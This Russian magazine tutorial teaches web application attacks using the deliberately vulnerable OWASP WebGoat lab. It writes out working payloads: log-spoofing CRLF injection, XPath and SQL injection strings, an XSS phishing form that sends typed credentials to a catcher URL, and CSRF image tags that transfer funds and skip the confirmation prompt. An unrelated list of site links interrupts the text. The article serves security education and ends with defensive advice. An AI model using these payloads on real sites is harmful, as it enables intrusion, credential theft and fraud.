LXF159:Хакерам: Cайт в безопасности
|
|
|
Содержание |
Хакерам: Cайт в безопасности
Безопасность web-сервера. Предотвратите трюки хакеров с помощью WebGoat.
Думаете, при последних заплатках безопасности Apache ваш сайт защищен? Бен Эверард показывает, что хакеры все еще могут до него добраться.
От социальных сетей до онлайн-магазинов и интернет-банкинга – Сеть прочно вошла в нашу жизнь. Но безопасна ли она? Уязвимости в серверах обычно быстро обнаруживаются и исправляются, но как насчет web-приложений на этих серверах? Может ли хакер получить доступ к этим приложениям и заставить их работать на себя? Да, именно это и происходит в Интернете что ни день. В этой статье с помощью WebGoat, демонстрационного web-приложения, мы покажем вам технологии, которыми пользуются хакеры, потому что понимание угрозы – это первый шаг к защите от нее.
WebGoat можно установить в большинстве дистрибутивов, но его настройка может быть немного сложной, поэтому проще всего воспользоваться образом OWASP WTE (Open Web Application Security Project – Web Testing Environment).
OWASP WTE доступен в виде Live DVD, который можно записать на диск и загрузиться с него. Однако, поскольку он намеренно пронизан уязвимостями, лучше запускать его на виртуальной машине. Если у вас не установлен VirtualBox, найдите его в своих репозиториях или загрузите с https://www.virtualbox.org. Наше руководство подойдет и для других программ виртуализации, таких как Qemu или VMWare. Загрузите образ диска VirtualBox с http://appseclive.org/node/45 и распакуйте его командой:
unrar e owasp-wte-Feb-2011.vdi.rar
С помощью инструкций по установке на соседней странице установите и запустите WebScarab, и можно двигаться дальше.
Не все атаки интересуются доступом к информации на сайте. В некоторых (или в составе крупных атак) нужно, наоборот, разместить данные. Скажем, если вы хотите проникнуть на сервер методом перебора паролей, в лог-файлах останутся десятки сообщений о неудачных попытках входа в систему. Их можно разбавить сообщениями об удачном входе, чтобы системные администраторы ничего не заподозрили. Для этого выберите пункт меню Injection Flaws > Log Spoofing (Инъекция > Подмена лог-файла).
В этом тесте мы добавим пару новых строк в лог-файл об успешном входе в систему, после одной записи о неудачном. Они обозначаются как %0d %0a. Введите имя пользователя:
Smith%0d%0aLogin Succeeded for username:
Admin%0d%0aLogin Succeeded for username: John
и любой пароль и нажмите Login [Войти в систему]. Создадутся три записи – одна о неудачном входе и две об успешном. Разумеется, таким способом при желании можно добавить и любые другие строки (см. рис. 1).
В файл можно записать и скрипт, ведь это не проверяется. Если администратор просматривает лог-файлы через браузер, этим можно воспользоваться для атаки на его сессию с помощью некоторых из технологий, описанных далее.
Окно входа в систему без проверки данных – сущий подарок хакеру, и с его помощью можно сделать нечто большее, чем просто добавить пару записей в лог-файл. Должным образом организованные данные в этих полях дадут нам доступ и к другой информации о пользователе.
Атакуйте и разрушайте
Перейдите к разделу «XPATH Injection» (Инъекция в XPATH) в левой части окна. В этом примере мы совершим атаку на поле с паролем для получения дополнительной информации. Пароль проверяется с помощью выражения XPATH, которое возвращает все строки, соответствующие введенным имени пользователя и паролю. Мы можем разрушить это выражение и добавить выражение OR, которое всегда будет возвращать true, и таким образом получить все записи из базы данных. Введите имя пользователя Mike и пароль:
test123’ or ‘a’=’a
Внешние кавычки добавляются XPATH, поэтому они не нужны. Значение этого выражения всегда равно true, и оно вернет всех пользователей.
Не во все формы можно ввести текст. Иногда нужно выбирать значение из списка. Но и такие поля не защищены от атак – хакерам нужно проявить лишь чуть больше изобретальности.
Вернувшись в WebScarab, вы увидите целую кучу запросов HTTP GET. Каждый из них соответствует элементу документа, запрошенного браузером. В столбце Path [Путь] вы видите информацию о запрашиваемом компоненте. Теперь несколько слов о том, как работает Интернет. В его основе лежит протокол передачи гипертекста (HyperText Transfer Protocol, HTTP). Гипертекст – красивое слово для документов со ссылками в них, обычно HTML-документов. HTTP разрабатывался так, чтобы быть понятным человеку, и различные данные протокола передаются в виде текста.
При каждом вводе адреса или щелчке по ссылке браузер отправляет запрос HTTP GET, который сообщает web-серверу, что вам нужен определенный документ. В ответ сервер должен отправить запрошенный документ браузеру. На практике для большинства web-страниц отправляются несколько HTTP-запросов, так как браузер должен отправлять по запросу на каждый элемент страницы (такой как картинка).
OWASP применяет WebScarab в качестве прокси, то есть программы, перехватывающей HTTP-запросы (обычно для кэширования). WebScarab – прокси для обучения: он удерживает HTTP-запрос, позволяя просмотреть и изменить его. Так мы увидим, что происходит внутри браузера. А раз для взаимодействия с web-сервером используется HTTP, то мы атакуем сервер путем изменения HTTP-запросов. Большинство динамических сайтов создаются на лету из информации, содержащейся в базе данных. Одной из целей хакера может быть получение информации из этого источника, и это возможно с помощью SQL-инъекции.
При таком типе атаке хакер обманным путем заставляет сайт выполнить непредусмотренный SQL-запрос и отобразить результаты. В Firefox зайдите в меню Injection Flaws [Инъекция] в левой части окна и в подменю Numeric SQL Injection [Числовая SQL-инъекция]. Откроется сайт-шаблон с информацией о погоде. При его обычной работе можно выбрать метеостанцию из выпадающего списка и нажать кнопку Go [Показать], чтобы увидеть данные о метеоусловиях на этой станции. Но, будучи алчными хакерами, мы хотим увидеть все данные. Для начала этот сайт сообщает нам и SQL-запрос, используемый для получения данных. В данном случае это:
SELECT * from weather_data WHERE station = ?
Здесь ? – это станция, выбранная из выпадающего списка. Чтобы извлечь побольше информации из данного запроса, расширим условие WHERE. Для этого можно перехватить запрос и добавить дополнительный текст в поле Station.
В WebScarab поставьте галочку Intercept Request [Перехватить запрос], затем нажмите Go [Запустить] в Firefox. Прокси перехватит запрос, содержащий два компонента данных – станцию и действие submit. Измените значение станции на
101 OR station like ‘%’
и нажмите Accept Changes [Применить изменения], см. экранный снимок внизу. Теперь система будет обрабатывать SQL-запрос
SELECT * from weather_data WHERE station = 101 OR station like ‘%’
Так как в SQL % – это маска, то запрос вернет все данные из таблицы weather_data. Это четыре станции в выпадающем списке и еще две, которые создатели сайта хотели скрыть. По завершении этого упражнения сайт переключится в более защищенную конфигурацию, в которой он проверяет, является ли ввод в SQL-запрос числом. Если вы попытаетесь выполнить запрос еще раз, атака завершится неудачно.
- Метамодернизм в позднем творчестве В.Г. Сорокина
- ЛитРПГ - последняя отрыжка постмодерна
- "Ричард III и семиотика"
- 3D-визуализация обложки Ridero создаем обложку книги при работе над самиздатом.
- Архитектура метамодерна - говоря о современном искусстве, невозможно не поговорить об архитектуре. В данной статье будет отмечено несколько интересных принципов, характерных для построек "новой волны", столь притягательных и скандальных.
- Литература
- Метамодерн
- Рокер-Прометей против изначального зла в «Песне про советскую милицию» Вени Дркина, Автор: Нина Ищенко, к.ф.н, член Союза Писателей ЛНР - перепубликация из журнала "Топос".
- Как избавиться от комаров? Лучшие типы ловушек.
- Что делать если роблокс вылетает на windows
- Что делать, если ребенок смотрит порно?
- Почему собака прыгает на людей при встрече?
- Какое масло лить в Задний дифференциал (мост) Visco diff 38434AA050
- О чем может рассказать хвост вашей кошки?
- Верветки
- Отчетность бюджетных учреждений при закупках по Закону № 223-ФЗ
- Срок исковой давности как правильно рассчитать
- Дмитрий Патрушев минсельхоз будет ли преемником Путина
- Кто такой Владислав Поздняков? Что такое "Мужское Государство" и почему его признали экстремистским в России?
- Как правильно выбрать машинное масло в Димитровграде?
- Как стать богатым и знаменитым в России?
- Почему фильм "Пипец" (Kick-Ass) стал популярен по всему миру?
- Как стать мудрецом?
- Как правильно установить FreeBSD
- Как стать таким как Путин?
- Где лучше жить - в Димитровграде или в Ульяновске?
- Почему город Димитровград так называется?
- Что такое метамодерн?
- ВАЖНО! Временное ограничение движения автотранспортных средств в Димитровграде
- Тарифы на электроэнергию для майнеров предложено повысить
Теперь перейдем в LAB: SQL Injection [ПРИМЕРЫ: SQL-инъекция] и рассмотрим некоторые способы применения этой техники. В наших примерах используется административный сайт вымышленной компании Goat Hills. На первом этапе мы обманным путем заставим сайт впустить нас в систему, не зная пароля.
Сайт сравнивает пароль с тем, что хранится в базе данных, с помощью запроса
Select * from employee WHERE userid = ‘ + userid + ‘ and password = ‘ + password
Если этот запрос возвращает строку, то пользователь ввел верный пароль, и ему разрешается войти в систему. Введите имя пользователя Neville Bartholomew и пароль Test. Убедитесь, что WebScarab все еще перехватывает запросы, и нажмите Login [Войти]. Этот запрос можно изменить, добавив условие OR (ИЛИ) методом, аналогичным предыдущему упражнению.
Перехватим HTTP-запрос и изменим поле пароля на
Test’ OR password LIKE ‘%
Test – неправильный пароль, но так как ‘1’=’1’, запрос вернет данные, и система позволит нам войти. Затем вы сможете выполнять все действия, разрешенные Невиллу (а он администратор). В принципе этот текст можно было ввести и в поле пароля, но разработчики сайта ограничили длину этого поля, и для обхода этой проверки пришлось применить прокси.
Второй этап этого упражнения включает изменение кода сервера для защиты от таких атак. Желающие могут создать его самостоятельно, а мы перейдем к третьему этапу. Эта атака состоит из двух частей. Во-первых, нужно, чтобы запрос выбирал всех пользователей, а не только одного из выпадающего списка. Для этого добавим условие OR 1=1. Однако на этой странице нам покажут данные только одного пользователя, и нужно гарантировать, что это правильный пользователь. Интереснее всего выйти на босса, так что изменим запрос, добавив order by salary desc [упорядочить по убыванию оклада]: пусть первым возвращается человек с наибольшей зарплатой. Нам нужно войти в систему под пользователем Larry (пароль larry). После входа в систему щелкните на View Profile [Просмотр профиля]. Когда WebScarab перехватит запрос, измените поле employee_id на
101 or 1=1 order by salary desc
и нажмите Accept Request [Принять запрос]. Вам вернется информация о самом высокооплачиваемом сотруднике, независимо от того, есть ли он в выпадающем списке.
Лучшая защита от SQL-инъекции – и многих других атак – правильная проверка полей ввода. Очень немногим полям требуются символы «=», «’» и « %». А если ввод этих символов все же необходим, обязательно экранируйте их перед передачей в базу данных. Это нужно делать на сервере, так как с помощью WebScarab или других утилит для манипуляции с HTTP-запросами можно обойти валидацию полей ввода браузером.
Межсайтовый скриптинг
Межсайтовый скриптинг (Cross Site Scripting, или XSS) – метод воздействия на участок сайта, чтобы тот отображал ваше содержимое. Это возможно, когда на интерактивном сайте размещаются данные, вводимые пользователями. Откройте пункт меню Cross-Site Scripting (XSS) > Phishing With XSS [Межсайтовый скриптинг (XSS) > Фишинг с XSS]. Сначала просто наберите Test в поле поиска и нажмите Search [Искать]. На странице появится:
Results for: Test
Это значит, что после Results for: можно вставить что угодно, и с небольшими знаниями HTML мы можем добавить не только обычный текст. Например, введите поисковый запрос:
<br><br><h1>Injected Text</h1>
– HTML-тэг перехода на новую строку, поэтому наш текст появляется уже на новой строке, а
<h1>…</h1>говорит браузеру, что это заголовок. С HTML можно добавлять не только текст, но и формы. Для выполнения этой атаки нам потребуется и то, и другое. Форма будет собирать информацию о пользователе, а скрипт разместит ее на http://localhost/WebGoat/catcher?PROPERTY=yes
Так как фишинг основан на том, чтобы обманным путем заставить пользователя ввести свои данные, нужно дать ему вескую причину войти на сайт. HTML-код нашей формы будет таким:
<br><br><h1>Важно: Наши серверы обнаружили необычную активность вашей учетной записи. Пожалуйста, немедленно зайдите, чтобы пресечь неавторизованные действия </h1><form><input type=”text” name=”user”><br><input type=”password” name=”pass”><input type=”submit” name=”login” onClick=”var image1=new Image; image1.src=’http://localhost:8080/webgoat/catcher?PROPERTY=yes&user=’+this.form.user.value+’&password=’+this.form.pass.value;”></form>
Эта форма соберет логин и пароль пользователя и передаст их на сервер. Мораль: при обработке вводимых пользователем данных, которые будут отображаться на сайте, проверяйте их на наличие < и >, так как с их помощью можно создать HTML-тэги.
С помощью XSS также можно заставить браузер пользователя выполнить действие, которого он делать не собирался. Поскольку интерактивные web-страницы работают под управлением протокола HTTP, то если мы заставим браузер выполнить запрос HTTP GET, сервер может подумать, что пользователь хочет выполнить это действие. Самый простой способ заставить браузер выполнить запрос HTTP GET – с помощью загрузки изображения. Чтобы это изображение не повлияло на внешний вид страницы, мы можем сделать его размером в один пиксель. Перейдите в Cross Site Request Forgery [Создание межсайтовых запросов] и введите заголовок «Крутое сообщение – прочтите обязательно» и сообщение:
Это важная информация.
<img src=”http://localhost:8080/webgoat/attack?Screen=89& menu=900&transferFunds=4000” width=”1” height=”1” />
В данном случае фальшивый запрос используется (в теории) для перевода денежных средств, но с ним можно также отправлять почту, закупать товары и делать все то, что делается щелчком по ссылке на сайте. Так как запрос приходит с компьютера жертвы, а не с компьютера злоумышленника, web-сервер обработает его (если пользователь вошел в систему).
Разумеется, многие сайты требуют от пользователя для выполнения какого-то действия не просто одного щелчка. В предыдущем примере банк вряд ли позволит вам перевести деньги со счета, хотя бы не запросив подтверждения, что вы хотите это сделать. К счастью для атакующего, есть способ обойти и это. Так как подтверждение – лишь еще один запрос HTTP GET, остается только отправить его. Это немного сложнее, так как второй запрос надо отправить в должный момент; но мы можем сделать это, сообщив пользователю, что первое изображение загрузить не удалось. HTTP-запрос злоумышленника вернет HTML-документ, а не изображение, и при попытке его загрузить браузер выдаст ошибку. С помощью HTML можно указать, что должен делать браузер при возникновении ошибки, и мы велим ему загрузить второе изображение, также размером в один пиксель, для выполнения HTTP-запроса, который выполнит подтверждение. Перейдите в CSRF Prompt By-Pass [Обход предложения о подтверждении], введите заголовок «То-то повеселимся» и сообщение:
LOL catz.
<img src=”http://localhost:8080/webgoat/attack?Screen=82& menu=900&transferFunds=4000” onerror=”document.
getElementById(‘image2’).src=’http://localhost:8080/webgoat/ attack?Screen=82&menu=900&transferFunds=CONFIRM’” width=”1” height=”1” />
<img id=”image2” width=”1” height=”1” />
Снижение риска
Существует несколько способов снизить риск атак с поддержкой межсайтовых запросов. Так как для их выполнения пользователь должен быть в системе, можно снизить вероятность атак, автоматически отключая пользователя после некоторого периода бездействия. Кроме того, можно воспользоваться CSRF Guard, который можно найти на сайте www.owasp.org/index.php/PHP_CSRF_Guard.
SQL-инъекция и XSS – лишь две разновидности атак на сайты. В WebGoat есть примеры многих других. Воспользуйтесь ссылками Hints и Solutions в верхней части страницы с уроками. Защита вашего сайта от таких атак обычно сводится к корректной валидации и экранированию потенциально опасных символов. Несколько примеров атак можно найти в разделе Applications > Internet > Web App Testing Tools [Приложения > Интернет > Утилиты для тестирования web-приложений], и с их помощью проверить, работает ли ваша защита. Подробную информацию о должных мерах защиты можно найти на сайте www.owasp.org/index.php/Cheat_Sheets. |